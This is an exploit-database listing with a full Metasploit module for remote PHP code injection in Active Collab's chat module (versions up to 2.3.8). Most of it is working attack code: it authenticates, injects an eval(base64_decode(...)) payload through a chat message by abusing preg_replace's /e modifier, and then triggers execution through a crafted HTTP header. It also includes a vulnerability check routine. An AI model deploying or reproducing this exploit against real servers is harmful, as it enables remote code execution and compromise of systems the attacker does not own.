Active Collab "chat module" <= 2.3.8 Remote PHP Code Injection Exploit



EKU-ID: 2158 CVE: OSVDB-ID:
Author: mr_me Published: 2012-05-21 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpClient

 def initialize(info={})
  super(update_info(info,
   'Name'           => 'Active Collab "chat module" <= 2.3.8 Remote PHP Code Injection Exploit',
   'Description'    => %q{
    This module exploits an arbitrary code injection vulnerability in the chat module
    that is part of Active Collab by abusing a preg_replace() using the /e modifier and
    its replacement string using double quotes. The vulnerable function can be found in
    activecollab/application/modules/chat/functions/html_to_text.php.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'mr_me <steventhomasseeley[at]gmail.com>',  # vuln discovery & msf module
    ],
   'References'     =>
    [
     ['URL', 'http://www.activecollab.com/downloads/category/4/package/62/releases'],
    ],
   'Privileged'     => false,
   'Payload'        =>
    {
     'Keys'        => ['php'],
     'Space'       => 4000,
     'DisableNops' => true,
    },
   'Platform'       => ['php'],
   'Arch'           => ARCH_PHP,
   'Targets'        => [['Automatic',{}]],
   'DisclosureDate' => 'May 30 2012',
   'DefaultTarget'  => 0))

  register_options(
   [
    OptString.new('URI',[true, "The path to the ActiveCollab installation", "/"]),
    OptString.new('USER',[true, "The username (e-mail) to authenticate with"]),
    OptString.new('PASS',[true, "The password to authenticate with"])
   ],self.class)
 end

 def check

  login_path = "public/index.php?path_info=login&re_route=homepage"
  uri = datastore['URI']
  uri += (datastore['URI'][-1, 1] == "/") ? login_path : "/#{login_path}"

  cms = send_request_raw({'uri' => uri}, 25)

  uri = datastore['URI']
  uri += (datastore['URI'][-1, 1] == "/") ? 'public/assets/modules/chat/' : '/public/assets/modules/chat/'

  chat = send_request_raw({'uri' => uri}, 25)

  # cant detect the version here
  if (cms and cms.body =~ /powered by activeCollab/)
   # detect the chat module
   if (chat and chat.code == 200)
    return Exploit::CheckCode::Vulnerable
   end
  end
  return Exploit::CheckCode::Safe
 end

 def exploit
  user = datastore['USER']
  pass = datastore['PASS']
  p = Rex::Text.encode_base64(payload.encoded)
  header = rand_text_alpha_upper(3)
  login_uri = datastore['URI']
  login_uri += (datastore['URI'][-1, 1] == "/") ? 'public/index.php?path_info=login' : '/public/index.php?path_info=login'

  # login
  res = send_request_cgi({
   'method'    => 'POST',
   'uri'       => login_uri,
   'vars_post' =>
    {
     'login[email]'      => user,
     'login[password]'   => pass,
     'submitted'         => "submitted",
    }
   }, 40)

  # response handling
  if res.code == 302
   if (res.headers['Set-Cookie'] =~ /ac_ActiveCollab_sid_eaM4h3LTIZ=(.*); expires=/)
    acsession = $1
   end
  elsif res.body =~ /Failed to log you in/
   print_error("Could not login to the target application, check your credentials")
  elsif res.code != 200 or res.code != 302
   print_error("Server returned a failed status code: (#{res.code})")
  end

  # injection
  iuri = datastore['URI']
  iuri += (datastore['URI'][-1, 1] == "/") ? 'index.php' : '/index.php'
  iuri << "?path_info=chat/add_message&async=1"
  phpkode = "{\${eval(base64_decode(\$_SERVER[HTTP_#{header}]))}}"
  injection = "<th>\");#{phpkode}</th>"
  cookies = "ac_ActiveCollab_sid_eaM4h3LTIZ=#{acsession}"
  res = send_request_cgi({
   'method'  => 'POST',
   'uri'     => iuri,
   'headers' =>
    {
     'cookie'  => cookies
    },
   'vars_post' =>
    {
     'submitted'                  => "submitted",
     'message[message_text]'      => injection,
     'message[chat_id]'           => "1",
     'message[posted_to_user_id]' => "all"
    }
  }, 25)

  euri = datastore['URI']
  euri += (datastore['URI'][-1, 1] == "/") ? 'public/index.php' : '/public/index.php'
  euri << "?path_info=/chat/history/1"

  # execution
  res = send_request_cgi({
   'method'  => 'POST',
   'uri'     => euri,
   'headers' =>
    {
     header    => p,
     'cookie'  => cookies
    }
  })
 end
end